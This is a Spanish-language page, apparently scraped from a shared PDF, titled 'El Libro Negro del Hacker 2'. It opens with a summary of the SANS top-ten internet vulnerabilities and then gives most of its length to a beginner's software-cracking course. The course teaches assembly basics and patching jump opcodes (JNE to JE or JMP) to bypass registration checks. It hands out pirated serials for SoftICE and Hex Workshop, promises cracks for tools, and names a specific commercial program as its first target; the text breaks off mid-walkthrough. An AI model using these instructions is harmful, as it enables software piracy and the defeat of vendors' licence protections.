179
1 LIBRO NEGRO DEL HACKER 2 Sans Institute publica un documento en el que se describen los diez problemas de seguridad más críticos y habituales en Internet -actualmente-, con el fin de que los administradores de sistemas cierren los problemas más comunes y más habitualmente utilizados. El documento, en inglés (aunque existe una traducción al castellano), se actualiza con relativa frecuencia y debería ser revisado a menudo. Además de la vulnerabilidades en sí, se ofrecen consejos y recomendaciones para reducir riesgos. Las diez vulnerabilidades más comunes son: BIND (named) Es el servidor de nombres más popular de Internet, pero las versiones anteriores a la 8.2.2patch5 son vulnerables a numerosos ataques capaces de proporcionar nivel "root" al atacante. CGIs y extensiones en los servidores web Hay que auditar cuidadosamente todos los CGIs accesibles en los servidores web, incluyendo los CGIs que vienen por defecto. Adicionalmente, extensiones como FrontPage y ColdFusion pueden ser inseguros por sí mismos, o contener ejemplos atacables. Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo rpc.ttdbserverd, rpc.cmsd y rpc.statd Aunque son conocidos desde hace tiempo, estos fallos siguen presentes en numerosos equipos. Vulnerabilidad RDS en el servidor web de Microsoft (IIS) Diversos errores de seguridad en el Remote Data Services (RDS) permiten a un atacante el ejecutar comandos con privilegios de administrador. Sendmail Sendmail es el servidor de correo (MTA) más utilizado en el mundo UNIX. Los administradores de dichos sistemas deberían mantener el servidor permanentemente actualizado. sadmind y mountd Estos procesos, si no han sido actualizados, contienen errores que permiten la ejecución de código arbitrario como "root". Compartición de discos e información vía NetBIOS, NFS y AppleShare - Deben compartirse sólo los directorios imprescindibles, y sólo desde las máquinas imprescindibles. - El acceso por red a dichas máquinas debe ser el imprescindible. - Las claves empleadas deben ser robustas. - El control de acceso no debe basarse en información DNS, sino en direcciones IP. Cuentas sin clave o con claves de baja calidad

El Libro Negro Del Hacker2

Embed Size (px)

Citation preview

Page 1: El Libro Negro Del Hacker2

1

LIBRO NEGRO DEL HACKER 2

Sans Institute publica un documento en el que se describen los diez problemas de seguridad más críticos y habituales en Internet -actualmente-, con el fin de que los administradores de

sistemas cierren los problemas más comunes y más habitualmente utilizados.

El documento, en inglés (aunque existe una traducción al castellano), se actualiza con relativa frecuencia y debería ser revisado a menudo.

Además de la vulnerabilidades en sí, se ofrecen consejos y recomendaciones para reducir

riesgos.

Las diez vulnerabilidades más comunes son:

BIND (named) Es el servidor de nombres más popular de Internet, pero las versiones anteriores a la

8.2.2patch5 son vulnerables a numerosos ataques capaces de proporcionar nivel "root" al atacante.

CGIs y extensiones en los servidores web Hay que auditar cuidadosamente todos los CGIs accesibles en los servidores web,

incluyendo los CGIs que vienen por defecto. Adicionalmente, extensiones como FrontPage y ColdFusion pueden ser inseguros por sí mismos, o contener ejemplos atacables.

Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo rpc.ttdbserverd, rpc.cmsd y rpc.statd

Aunque son conocidos desde hace tiempo, estos fallos siguen presentes en numerosos equipos.

Vulnerabilidad RDS en el servidor web de Microsoft (IIS) Diversos errores de seguridad en el Remote Data Services (RDS) permiten a un atacante el

ejecutar comandos con privilegios de administrador. Sendmail

Sendmail es el servidor de correo (MTA) más utilizado en el mundo UNIX. Los administradores de dichos sistemas deberían mantener el servidor permanentemente

actualizado. sadmind y mountd

Estos procesos, si no han sido actualizados, contienen errores que permiten la ejecución de código arbitrario como "root".

Compartición de discos e información vía NetBIOS, NFS y AppleShare - Deben compartirse sólo los directorios imprescindibles, y sólo desde las máquinas

imprescindibles. - El acceso por red a dichas máquinas debe ser el imprescindible.

- Las claves empleadas deben ser robustas. - El control de acceso no debe basarse en información DNS, sino en direcciones IP.

Cuentas sin clave o con claves de baja calidad

Page 2: El Libro Negro Del Hacker2

2

Esto es espcialmente grave cuando las cuentas en cuestión tienen privilegios especiales. Vulnerabilidades en los servidores IMAP/POP

Estos servicios gestionan los buzones de los usuarios y les proporcionan acceso a su contenido. Normalmente no están protegidos por cortafuegos, ya que suele ser necesario

proporcionar el servicio a usuarios desplazados fuera de la red local. "Comunidades" (claves) SNMP por defecto

Numerosos equipos con capacidades de administración y monitorización remota vía SNMP (Simple Network Management Protocol) son desplegados sin modificar las claves

(comunidades) por defecto.

FUENTE ; HISPASEC CURSO SUSCEPTIBLE A CAMBIOS Reverse Engineering <-:El curso completo para comenzar a crackear:-> Edición Azul Curso 1 ... la definición crack. Temas: 0.-Ingeniería Inversa, Introducción 1.-Conceptos 2.-¿POR DONDE RAYOS COMENZAR? 2.1-CONOCIMIENTO BÁSICO DE ENSAMBLADOR 3.-ENFATIZANDO CON LAS HERRAMIENTAS 4.-La primera Aproximación 4.1-Teórico, ahora, práctico 4.1.0-Una pequeña explicación. 4.2-Muerte a los bytes. 5.-El registro de Windows 6.-Recomendaciones 7.-¿Donde puedo encontrar más información? 8.-Mis palabras finales ... =) -------------------------------------------------------------------------------- -Ingeniería Inversa, introducción. Este tutorial está creado por que realmente no me sentí muy satisfecho con los otros cursos que hice, realmente pienso .. no quedaron de mi agrado así que los eliminé y los reemplacé con estos,así que el que quedó leyendo mi otro curso, despídanse, empezaremos desde 0 ... este tutorial está hecho especialmente para los que no entienden lo que es la Ingeniería Inversa, desde ahora le llamaremos cracking espero poder ayudarlos en todo lo que pueda, y si no, haré lo mejor ... La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección de alguna aplicación ya siendo comercial y otras. Muchos consideran esto como un arte. En

Page 3: El Libro Negro Del Hacker2

3

este curso pienso ayudar a personas quén interesadas al respecto, y incluso a los mismos programadores. Se les enseñará a no ser tan 'cuadrados' de mente pensando en intereses comerciales, se les enseñará a crackear sus propios programas, e ir aumentando sus niveles de protección, en este primer curso aprenderemos algo mínimo en cuanto a reventar protecciones de programas, mas que nada, hablaremos de teórico. Por hoy se aprenderá el uso de la ingeniería inversa bajo el sistema operativo en Windows 95 y/o 98. Empezaremos por cosas muy básicas. Sólo les pediré las siguientes cosas para que comienzen a crackear : Un Computador -=(Mayor o igual a 16 Mb. de RAM, mayor de 486 a 33) Un disco duro de 1 Gb. UN CEREBRO Instinto y perspicacia. Las ganas. Algo de conocimientos básicos a medios (Como que es la RAM, programar, uso de Win95) Si es posible, algo de conocimientos de ensamblador, si es que no es así, los ayudaré en lo que pueda. Yo creo que tienes los dos primero ítems, ya que ahora solo salen pentiums III y pocaso los II... Al mismo tiempo aprenderemos a crackear a conocer los aspectos de una PC, cómo funciona, qué hace, y como es que se ejecutan las cosas. Creo que debo explicarles otras cosas también pero las aprenderemos en el transcurso de estos laaargoos capítulos. 1. - CONCEPTOS Empezaremos por pensar en qué es un sistema operativo, es la base por la cuál un programa (en este caso Windows 9x) domina el inicio de las rutinas para procesar datos en el disco duro. (suena enredado, pero piensa que se trata de un programa que hace que se 'inicie' el disco duro ..) .. ya sabemos cuál programa está dominando en tu equipo, si es que usas una apple macintosh, busca en altavista 'MAC CRACK', y encontrarás hechos al respecto. Muy bien, imaginemos un programa a crackear, o sea, ¿Qué queremos hacerle al crackearlo? .. vamos a eliminar diálogos o partes que digan .. 'Cómprame' .. 'gasta dinero' ... por un programa que usas, y por ejemplo,un programa que usas te pide que lo compres utilizando una tarjeta de crédito (p.e. MasterCard*Visa), y que lo compres por ejemplo en http://www.buynow.com , del cuál te pedirá el nombre, número de tarjeta de crédito y cuando expira, así harán una cybercompra arrugando tus bolsillos ... ¿No? ... si no te ha pasado revisa entre tus cosas esos CD's de revistas .. verás mucho material para crackear allí, todavía no sabes crackear, así que aprenderemos aquí. Imagina que este programa tiene un cuadro de diálogo que te pide un nombre y una contraseña, y esta contraseña se te da cuando compras el programa. y cuando la introduces en el programa, el programa te dirá "Gracias por registrarse" lo que prácticamente quiere decir que : "Gracias por gastar su dinero en este programa" .. nuestro objetivo para este y solamente este programa será estudiar el porque cuando introduces una contraseña errónea te dice "Contraseña incorrecta" ... y modificar esta sentencia o ver como es que forma la contraseña ... llamaremos desde ahora a MS-DOS ->DOS, a Windows 95 le llamaremos ->Win95. ¿Por

Page 4: El Libro Negro Del Hacker2

4

qué digo solamente para este programa? .. pues existen varias protecciones distintas, como las de tiempo (cuánto tiempo usas un programa) .. las de usos (Cuánto puedes usar un programa, p.e. 6 veces)... y otras por allí ... Cada vez los programadores están desarrollando peores protecciones para los programas... y a veces son buenas... (no demasiado y pocas veces).. esto ocurre cuando los programadores crean los programas en pensamientos comerciales y 'monetarios' .. y lo peor de todo es cuando esto sucede gracias a la estúpida sociedad en que vivimos donde la gente esta propensa a que cuando se tiene dinero, no se hacen las cosas por placer. se hacen con mentes comerciales. 2. - ¿POR DONDE RAYOS COMENZAR? Empezaremos por saber que rayos necesitaremos para esto de la ingeniería inversa. Pueden ser encontrados en HERRAMIENTAS Depurador/Debugger: Es un programa que sirve para "depurar" programas, me explico, cuando se ejecuta un programa y lo 'depuras' .. Te vas deteniendo en cada paso que ejecuta el programa, al mismo tiempo cuando lo depuras por ejemplo en el programa llamado "soft-ice", este es un programa para depurar (el más famoso) vas viendo el programa depurándose en ensamblador o mas bien conocido como assembler, explicaré assembler básico más adelante ... Lista de depuradores mas comunes : Debug (De MS-Dos), Soft-Ice (El más usado), TR (para dos y Win) Editor Hexadecimal: Es un programa que permite 'editar' archivos, en forma hexadecimal y poder cambiar bytes en él, mas adelante aprenderemos el sistema hexadecimal y binario. Lista de editores hexadecimales más comunes : Hex Workshop (Win95), Ultraedit (Win95), Hacker's View (Dos) Monitor del registro:Para ocasiones en que los programas guarden sus datos de registro en el sistema de Windows, siempre servirá este programa .. más adelante se explicará acerca de este famoso registro de 'windows'.. Lista de monitor : Registry monitor (Win95). Descompresor: Algunos programas. Más en sí sus ejecutables, vienen comprimidos con ejecutables de otras compañías , por ejemplo el famoso IconForge, este programa no permite ser desensamblado... Existe un programa llamado shrink, que protege los ejecutables (EXE), con este puedes usar por ejemplo el Deshrink, que descomprime los archivos protegidos con Shrink.. Y así es posible desensamblar y modificar algunos segmentos... Creo que todavía ya los estoy confundiendo . Lista de descompresores comunes : Deshrink, PeUNLOCK, etc. miles más ...

Page 5: El Libro Negro Del Hacker2

5

Monitor de archivos: Algunos programas crean archivos temporales con los registros correctos, y cuando se vuelven a ejecutar los programas, verifican la información del archivo temporal y si es que no es correcta se borra, el monitor de archivos ve los archivos que se crean ... (p.e. UltraEdit, este pide un número de registro, y para comprobar nos dice que necesita reiniciar para comprobar, este crea un archivo llamado uedit.reg). Lista de monitor : File Monitor. Desensamblador (Disassembler): Podemos depurar un programa en el instante, pero también podemos desensamblar un programa, o sea, ver lo depurado en el instante, pero tranquilamente podemos estudiar las rutinas sin tener que depurar 'En el momento'. Lista de monitor : IDA (Dos*32 Bits), WDasm, Sourcer 7, etc. . . 2.1 - CONOCIMIENTOS BÁSICOS DE ENSAMBLADOR (Assembler) Primero : ¿ Por que digo desensamblar o depurar? .. cuando un programa está hecho en otros lenguajes de programación (p.e. C - C++, Visual Basic, Delphi, Pascal) y lo 'compilas'.. o sea, lo dejas en ejecutable(.EXE, .COM) primero, ¿Qué es compilar?, hablemos superficialmente de aquello.. imaginemos que tenemos un código fuente de un programa (supongo que sabes que es eso), y el programa tiene la función de hacer lo siguiente ... Muestrame Un mensaje, el mensaje dice 'Hola a todos', y cuando lo muestres, que suene un pitído, al mismo tiempo, pinta las letras de color verde. Este es un pequeño programa que puede ser hecho en varios lenguajes, pero .. ¿El computador puede entender estas letras humanas y este lenguaje que nosotros entendemos? NO!, para eso necesitaremos un compilador, este transforma este código en un lenguaje llamado 'máquina', que convierte nuestro programita en un .EXE que el procesador sabrá ejecutar, y entonces, tendremos un programa. Al mismo tiempo estamos protegiendo nuestro código, ¿Por que?, por que si le damos el código a cualquiera, pueden modificarlo ¿o no?.. por ejemplo si tengo el código de arriba puedo modificarlo para que sea así: Muestrame Un mensaje, el mensaje dice 'MUERANSE TODOS!', y cuando lo muestres, que suenen dos pitídos, al mismo tiempo, pinta las letras de color azul. Claro que ahora están saliendo descompiladores. que revierten el ejecutable a el código fuentee. Para variar me volví a desviar, quedamos en qué era un desensamblador, bueno, cuando creamos un programa en Delphi, Pascal, Etc. lo compilados, el desensablador puede 'desensamblar' el program para dejarlo en Ensamblador para la ingeniería inversa. Ensamblador es un lenguaje de programación de bajo nivel, ¿ Qué significa bajo nivel ?... pues al revés de un lenguaje avanzado como 'C', o uno medio como Pascal que son lenguajes para crear programas.. que son de alto nivel.. el lenguaje de bajo nivel es una manera de decir que mientras 'Mas programemos o más programa creemos menos control tendremos de este..'.

Page 6: El Libro Negro Del Hacker2

6

Este lenguaje les va ayudar mucho ... Si prestamos atención a este pequeño código fuente, no lo entenderán si no saben acerca de ensamblador.. si es que es así . Les ayudaré con los tipos ... MOV AX,1111h MOV BX,1112h CMP AX,BX JB saltobueno HLT saltobueno: DEC BX CMP AX,BX JNE Acaba JE Continua Continua: DEC BX CMP AX,BX JE Acaba JB Acaba JG Acaba Acaba: XOR AX,AX XOR BX,BX -------------------------------------------------------------------------------- ¿Que rayos significa esto? ¿Estudiaremos todo lo que hace este pequeño texto, e iremos aprendiendo para seguir adelante en nuestro curso.. empezaremos por aprender que es ax y bx mostrados en la primera instrucción. Primero que nada, no son solo estás dos palabras, en total son las siguiente palabras : AX, BX, CX, DX ... pero .. ¿que son estás palabras? ... estas palabras son registros de datos, o sea, que contienen información en ellas para cálculos y otras cosas en general. Digamos que guardan datos temporales de la 'memoria'. tocaremos de manera superficial este tema ya que está curso de aesoft que les puede ayudar al respecto muy meticulosamente. Pensemos que estos registros son para acumular datos en memoria temporalmente .. ¿Ok?.. pensemos ahora que un equipo estándar con Win95 Usa 32 Bits, los registros para 16 bits (Windows 3.11, piénsenlo así) son Ax, Bx, Cx, Dx.Pero si queremos trabajar en 32 Bits, o sea Win95, tendremos que agregarles una E para depurarlos en Win95, (P.e. Eax, Ebx, Ecx, Edx).. Me Explico nuevamente, en windows 95 se usan datos de 32 Bits(Para guardar datos)... si estamos trabajando en Windows 3.11 o dos(Versión anterior de Win95, y el añorado DOS) trabajaremos para guardar datos en 16 bits. Si trabajamos en DOS o en WIN 3.11, deberíamos ver los registros de datos como AX,BX,CX,DX, si trabajamos en Win95 serían así EAX,EBX,ECX,EDX. (Si ves en alguna parte registros de 16 bits. como AH no te sorprendas, es que se separan AX,BX,CX,DX .. ¿Cómo? .. AX se separa en AH y AL, BX se separa en BH y BL... y así

Page 7: El Libro Negro Del Hacker2

7

sucesivamente.) Ahora imaginemos que tenemos estos registros, ¿cada uno debe tener un valor o no?.. claro, y para este segmento de un código fuente tenemos el comando mov, el cuál en inglés significa move, el cuál significa mover, o sea que 'mueve' el valor 1111 a Ax, y mueve el valor 1112 A Bx, ¿Por qué la h? significa que está en hexadecimal, y tal como dijo Hot Byte en su curso, aprenderemos a transformar de decimal, hexadecimal, binario. Decimal a binario (Todo esta siguiente explicación gracias a Hot Byte): Decimal Binario 0 0 1 1 2 10 3 11 4 100 5 101 6 110 7 111 8 1000 9 1001 10 1010 Aquí se presenta la conversión de binario decimal: Si tenemos el número : 1 1 0 0 1 La conversión sería : 1*2 0 1*2 1 0*2 2 0*2 3 1*2 4 y en decimal es : 1 +2 +0 +0 +16 = 19 El * lo utilizo para multiplicar ... y el número pequeño, es elevar o potencionar (si no sabes, estas muerto).. ahora pongamos el primer número, 1*2, quedaría 2, si lo elevamos a 0 siempre y siempre quedará 1, cualquier número elevado a 0 siempre dará 1, además si te diste cuenta, dependiendo de los números que se van agregando en binario para que se vaya aumentando en 1 el exponente (0,1,2,3,4...). En este caso hemos logrado satisfactoriamente convertir el binario 11001 en del decimal 19. Otra cosa! debes tener claro que en la computación se usa para potencionar el signo '^'.. Sigamos ... Pero primero les aconsejaría tener una calculadora científica a mano:

Page 8: El Libro Negro Del Hacker2

8

A continuación me apoyaré en el instituto de investigaciones de México para apoyar lo que voy a decir: La división de un número entre dos es objetiva, cuando se divide y queda entre comas el resultado(p.e.:15,3), quedarán 'residuos',(15,3 <esto es residuo) si el residuo es mayor que 0, será 1, si igual a 0, será 0. si esto se explica de la siguiente manera ... TOMEMOS EL NUMERO 43 COMO EJEMPLO : 43/2 = El resultado es 21,5 .. 5 es mayor que 0, o sea que queda como 1 21/2 = El resultado es 10,5 .. 5 es mayor que 0, o sea que queda como 1 10/2 = El resultado es 5,0 ... 0 es igual a 0, o sea queda como 0 5/2 = El resultado es 2,5 ... 5 es mayor que 0, o sea queda como 1 2/2 = El resultado es 1,0 ... 0 es igual a 0, o sea queda como 0 1/2 = El resultado es 0,5 ... 5 es mayor a 0, o sea queda como 1 Vamos a tener que mirar este número de abajo hacia arriba, o sea 101011 -------------------------------------------------------------------------------- Conversiones a Hexadecimal Miremos la siguiente tabla para empezar a guiarnos un poco : Decimal Hexadecimal 0 0 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9 1 A 11 B 12 C 13 D 14 E 15 F 16 10 17 11

Page 9: El Libro Negro Del Hacker2

9

18 12 19 13 20 14 21 15 22 16 23 17 24 18 25 19 26 1A 27 1B -------------------------------------------------------------------------------- siguiente con lo dicho convertiremos de binario a hexadecimal. Un número binario (1-0) es un bit, ocho bits son un byte, 1.024 bytes es un kilobyte, 1.024 kilobytes es 1 Megabyte, 1.024 Megabytes es un gigabyte... Volvamos a lo nuestro ; veamos nuevamente el código fuente : MOV AX,1111h ; Nuevamente sabemos que el registro AX vale 1111 en Hexadecimal, se pone una 'h' si es hexadecimal MOV BX,1112h ; Ahora sabemos que BX vale 1112 en Hexadecimal. CMP AX,BX Ahora averiguaremos que es CMP, 'podríamos' decir que proviene de 'comprobar', primero comprueba el 2do valor con el primero, o sea, comprueba si es que BX es igual a AX. Y después de comprobar tenemos que saber qué queremos comprobar, si es menor, o mayor, o lo que sea, para esto utilizaremos el comando JB(abajo). JB saltobueno El comando JB es uno de varios saltos disponibles para operaciones .. o sea, que si tenemos que comprueba el valor de AX con BX .. ¿luego qué? .. es como decir que : mira, te subo el sueldo y después hago algo .. ¿pero qué? .. --mira, te subo el sueldo pero luego te despido-- se entiende? después de hacer alguna operación debemos darle una instrucción .. en este caso JB significa : salta si es inferior... en este caso veremos que si dejamos a AX con el valor de 1111 y a BX con el valor de 1112, después los comprobamos y JB hará la comprobación de : Si AX es menor que BX, entonces salta a la instrucción SALTOBUENO que está abajo. Ojalá que hayas entendido esto .. mira la tabla que está mas abajo. HLT ; Esta orden bloquea el ordenador, halt > con esto decimos todo. saltobueno: ; si te das cuenta, hemos puesto saltobueno: con ':' al final, para declarar que es una función. DEC BX

Page 10: El Libro Negro Del Hacker2

10

DEC, ¿Qué es esto? .. viene de la palabra inglesa 'decrease', que significa decrementar o disminuir, y entonces disminuirá el valor BX (1112) en 1 y quedará 1111. Dec sirve para quitar solamente 1. CMP AX,BX ; Después de programar comprobaººrá que Ax con BX ahora valen lo mismo JNE Acaba JE Continua Trataré de explicar, JNE es un salto también, JNE significa = Salta si no es equivalente, y JE es el contrario de JNE, o sea JE = Salta si es equivalente, dime.. ¿crees que la función JNE se va a ejecutar? .. piensa tu respuesta. Continua: DEC BX ; Ahora BX vale 1110h ¿ Ahora te diste cuenta que disminuimos nuevamente a BX ? CMP AX,BX ; comprueba nuevamente a AX con BX JE Acaba JB Acaba JG Acaba JE = Salta si es equivalente, (Saltará? .. no ..) JB = Salta si es inferior,(No es menor, no saltará) JG = Salta si es mayor, en este caso, saltará.. AX es mayor que BX. Acaba: XOR AX,AX XOR BX,BX ; AX y BX valen ahora cero. XOR torna los registros en 0. Si tomamos todo lo que decía toda la sentencia de este mini programa en ensamblador es como si se tomara esto : Ax = Javier - Bx = Federico (Bueno para el pic..), Javier tiene ahora (mov ax,1111h) 1111 Condones, y Federico tiene 1112(mov bx,1112h) Condones, para comprobarlo los cuentan(cmp ax,bx) y por que Javier tiene menos se van al prostíbulo(JB Saltobueno), y en el prostíbulo(saltobueno:), Federico se gasta uno (Dec bx), después nuevamente los cuentan (cmp ax,bx). Se dan cuenta que no están disparejos (JNE acaba) y que tienen los mismo, pero después se van al basurero municipal(JE continua), y Federico necesita solo 1110, así que bota uno (Dec bx). Los cuentan nuevamente (cmp ax,bx), después cuentan si tienen los mismos (JE acaba) y no tienen lo mismo. Después ven si Javier tiene menos(JB acaba), no, no tiene menos, después ven si Javier tiene más, si tiene más,(JG acaba), después se aburren, y los van a bota todos (acaba:) ... Javier los quema todos(XOR AX,AX), y Federico también (XOR BX,BX). -------------------------------------------------------------------------------- Hexadecimal Assembler Significa 75 o 0F85 jne Salta si no es equivalente 74 o 0F84 je Salta si es equivalente EB jmp Salta directamente a . . . 90 nop ( No OPeration ) Sin operación

Page 11: El Libro Negro Del Hacker2

11

77 o 0F87 ja Salta si esta sobre OF86 jna Salta si no esta sobre 0F83 jae Salta si esta sobre o igual 0F82 jnae Salta si no esta sobre o igual 0F82 jb Salta si es inferior 0F83 jnb Salta si no es inferior 0F86 jbe Salta si esta debajo o igual 0F87 jnbe Salta si no esta debajo o igual 0F8F jg Salta si es mayor 0F8E jng Salta si no es mayor 0F8D jge Salta si es mayor o igual 0F8C jnge Salta si no es mayor o igual 0F8C jl Salta si es menor 0F8D jnl Salta si no es menor 0F8E jle Salta si es menor o igual 0F8F jnle Salta si no es menor o igual -------------------------------------------------------------------------------- Según por lo que hemos visto hasta ahora los términos que nos podrían servir serían : Cmp xx,xx = (X = Registro) Compara valores de un registro y a sea AX,BX,CX,DX (Recordad que pueden ser de 32 bits, o sea, (E)AX, (E)BX, (E)CX, (E)DX.) .. Que recomendación podría darte cuando en futuros casos te encuentres con estas comparaciones ? :-Intercéptalas cuando están en plena comprobación-:] Jne xxxxx = Cuando saltes a una dirección por ejemplo; cuando saltes a una ventana de error diciendo que te registraste mal, y estés después de una comprobación ... :-Revierte los saltos! así pensará que no es equivalente-:, me explico, si nos encontramos con una operación de registro que dice así: 014F:00401DD 3BC7 Cmp eax, edi 014F:00401DE 0F85061DC1FF Jne 00401DF ; 000401DF es una dirección de ejemplo, cuando tengamos que desensamblar un programa será así. 014F:00401DF "Registro Falló" El texto solo por ejemplo de lo que sería un registro fallido. Lo que podemos hacer aquí es "invertir" el salto tal como lo mencionamos anteriormente... lo que está en COLOR lo puse así para que reconocieran que esta es la instrucción en hexadecimal, para invertir miremos la tabla que tenemos arriba, tendríamos que cambiar la instrucción 0F85061DC1FF por 0F84061DC1FF ... en muchos otros casos más se puede usar este método... no solo en la instrucción JNE, también se puede usar en otras instrucciones, así, estaremos revirtiendo la comprobación, y pensará ... : La comprobación original tiene esta apariencia : 'Si no es el número correcto, entonces, saltará al error' ... pero la cambiaremos para que diga .. 'Si el número no es correcto... entonces... registro Exitoso!'... así estaremos burlando la protección del programa; pero nos podremos encontrar algún día con alguna protección así:

Page 12: El Libro Negro Del Hacker2

12

:004049CD 755A jne 00404A29 Lo que podemos hacer es hacer que sea un salto directo, o sea reemplazando 755A con EB5A .así quedaría en un JMP 00404A29... Todavía los tengo enredados con la parte teórica, pero con los ejemplos nos acostumbraremos con los ejemplos que tendremos .. Test xx,xx = Estas instrucciones no se las he mostrado, pero también son rutinas de verificación, también podemos poner una interrupción aquí. -------------------------------------------------------------------------------- 3. - ENFATIZANDO CON LAS HERRAMIENTAS Tendremos que usar nuestras herramientas, acostumbrarnos a ellas, sentirlas, experimentar, provocar errores, aprender de ellos. usemos nuestras herramientas, vamos a probar con ellas, descarguemoslas todas desde una sola vez ... -------------------------------------------------------------------------------- Depuradores Soft-Ice :-Nuestro añorado depurador, descarguemos la versión completa Aquí, vamos a descargar la versión 4.0 para Windows 95., ya que no necesitaremos más que eso. Si no me equivoco son 16 Mb. Si es que no funciona, prueben esta. Podremos usar este con mayoría, será nuestro depurador. Configuración se Soft-ICE: Desde ahora le llamaremos SICE, y cuando lo instales deberás correr por las siguientes configuraciones . . ., desde la 1ra configuración hasta la 3ra serán configuraciones de instalación. 1ro: Requerirá de una contraseña: Cómo todavía no les he enseñado nada, les daré la contraseña : 4111-36143B-B7 Desde ahora a las contraseñas les llamaremos seriales 2do: Configuración de tarjeta de vídeo: SoftIce prácticamente detectará tu tarjeta de vídeo, si es que no es así, elije la tarjeta 'super vga'. Deberás hacer la prueba de vídeo con el botón 'test'. 3ro: Modificación de tu AUTOEXEC.BAT: deberás saber que es tu autoexec.bat, si no sabes lo que es el autoexec.bat, puedes rendirte.. abandona este curso... si lo sabes, SoftIce se cargará en tu Autoexec.bat para que se inicie cada vez que parte tu computador. Si es

Page 13: El Libro Negro Del Hacker2

13

que te llegan a ocurrir esos típicos errores de Windows, SICE se cargará, antes del error y a veces puede ser molesto y a veces puede dejar el error más grande aún. Así que te recomiendo que cuando comenzemos a crackear no lo cargues en el autoexec.bat, si no crea un bat. Si es que lo instalaste en nuestro directorio C:\Archivos de programa\Numega\softIce\ . Podré ayudarte, pon esta línea en un bat. Si es que elegiste que no modificara tu autoexec. deberás salir de windows en modo ms-dos, y cargar el bat.. C:\ARCHIV~1\NUMEGA\SOFTIC~1\WINICE.EXE 4to: Una vez instalado lanzar Symbol Loader: deberás lanzar el 'symbol loader', ir al menú edit, luego a SoftICE initialization settings. en donde dice 'Initialization string' debes poner X;wl;wr;wd7; code on;, y en donde dice 'History Buffer size (KB)' debes poner '512'. 5to: Con un editor de texto: Debes abrir el fichero 'Winice.dat' que esta el el directorio en donde instalaste el SICE, y habrán líneas en donde se dice ';EXP=', a todas las líneas deberás quitarle el ';' al comienzo para que queden así 'EXP='. Mas tarde explicaré el porqué de esto. 6to: Una vez hechos los cambios: Reiniciar el equipo para poder lograr la completa actualización de los cambios que hemos hecho -------------------------------------------------------------------------------- Desensambladores WDasm :-No es el mejor, pero lo utilizaremos al comienzo, para seguir avanzando, es un desensamblador. Luego comenzaremos a utilizar el llamado IDA (Interactive DiSassembler) puedes descargarlos de una serie de mirrors, como siempre les daré 2 solamente,este y este. IDA (Interactive DiSassembler) :-El mejor desensamblador, todo lo teórico que he hablado se entenderá en cuanto hagamos nuestro ejemplo volar por las nubes. Lamentablemente los mirros que tengo, uno es de la versión nueva y otro de una versión mas antigua. -------------------------------------------------------------------------------- Editores Hexadecimales UltraEdit 6.x :-Uno de los mejores editores hexadecimales, gracias a dios que el shareware lo reparten gratuitamente en http://www.ultraedit.com , pronto aprenderemos a crackear nuestras propias herramientas, es lo primero que debemos hacer. Este lo vamos a dejar para el segundo capitulo, les regalaré el crack de todas las siguientes herramientas por el solo hecho de ser principiantes.

Page 14: El Libro Negro Del Hacker2

14

Hex Workshop 2.54 :-Otro de los mejores editores existentes, también requiere de crackeo .. se puede descargar aqui . Y el serial de este programa es : B5-45678. Hacker's View 6 :-Para mi simplemente el mejor editor existente... NO SE FIJEN EN MI PALABRA! ENCUENTREN SUS HERRAMIENTAS FAVORITAS! descarguen Hacker's View aquí y el crack por aquí. -------------------------------------------------------------------------------- 4. - LA PRIMERA APROXIMACIÓN He aquí nuestra primera aproximación, nuestro objetivo fue escogido al azar, y es un típico ejemplo de una combinación serial/fácilismo, debo mencionar que podremos seguir con muchas protecciones distintas. Empezaremos con protecciones fáciles y luego seguiremos con distintos esquemas de protección, aumentando así nuestro nivel poco a poco. Ejemplo nº1 : Nombre : ToggleMouse Tamaño del ejecutable: 618.486 Bytes Versión : 3.4.3 Ubicación : http://kutcracks.virtualave.net/kutfilez/toggle.zip Nombre del ejecutable : Togglemouse.exe Tamaño del zip:418 Kb Características : Programa que permite generar utilidades con el Mouse Protección : Sencilla Tiempo estimado : 20 Minutos (Para ayudar a los principiantes) Tipo de protección : Serial*Registro*Tiempo Precio : 14.95 Dólares americanos + 4.00 por compra y resguardo en diskette Limitaciones : 30 Días de prueba + 7 Días de terminación extra + Una pantalla que nos dice que tenemos que registrarnos. Herramientas a utilizar : WDasm, Editor hexadecimal, Zen Cracking. Primero que nada tenemos que familiarizarnos con el programa, ejecutemoslo, exploremos, y por un momento olvidemonos que se tiene que comprar, exploremos, miremos, probemos, enfatizemos con el programa. Después de hacer varias pruebas con el programa, le doy 2 puntos y medio de 5, fue de mi agrado. Recordemos que solo crackeamos para extender el periodo de prueba de un programa para probarlo al máximo de sus capacidades. Y para aprender de él. En este caso estudiaremos este programa paso a paso para ver qué es lo que hace y cómo lo hace .. ¿Listos para comenzar? 4.1 -Teórico, ahora, práctico. Ok, vamos a abrir este bebé, se preguntarán qué es el zen cracking.. le llamaremos Zen Cracking a la manera en que usamos nuestra mente para pensar en cómo funciona un

Page 15: El Libro Negro Del Hacker2

15

programa, y por donde atacaremos ... algo así, no se puede explicar, sin embargo ud. mismos lo aprenderán en el transcurso de este largo curso, sin que yo les diga poco a poco de que se trata. Vamos a empezar por averiguar el cómo usar nuestras propias herramientas, al mismo tiempo que vamos interactuando con el programa, te recomendaría que imprimieras este curso ya que con reiniciar e instalar softice y las herramientas se verá difícil estar cambiando de ventanas para leer mientras tratas de crackear el programa. Empezemos con nuestro amado programa, primero que nada, instalemos el WDasm, y corramos su ejecutable, apareceremos en una ventana típica de programas hechos en Windows, en el menú Disassembler. Open file to disassemble. Ahora, abramos nuestro ejecutable 'togglemouse.exe', y verán cómo la barra avanza la barra de progreso. Cuando termine, no empezaremos a crackear enseguida, si no que exploraremos las funciones de Wdasm para conocerlo mejor. Primero, conoceremos las referencias de datos (String data references). Si prestas atención a un botón a la esquina superior derecha. Al lado del botón de la impresora. Miremos la figura a continuación: sabemos que si presionamos el primer botón abriremos otro archivo, si presionamos el segundo botón, guardaremos en un archivo el otro archivo ya desensamblado. Para este caso, usaremos referencias de cadenas, presionemos en aquel botón y veremos un listado de diferentes cadenas a las cuales llama el programa. Ejecutemos el programa ToggleMouse, en este caso veremos una carpeta que dice 'Order' (Ordenar), y aparecerá un botón que nos parecerá interesante... 'Click here to enter your registration code'(click aqui para poner tu código de registro). Le daremos un click y veremos una ventana diciendo que pongamos nuestro nombre, compañia, y nuestro código de 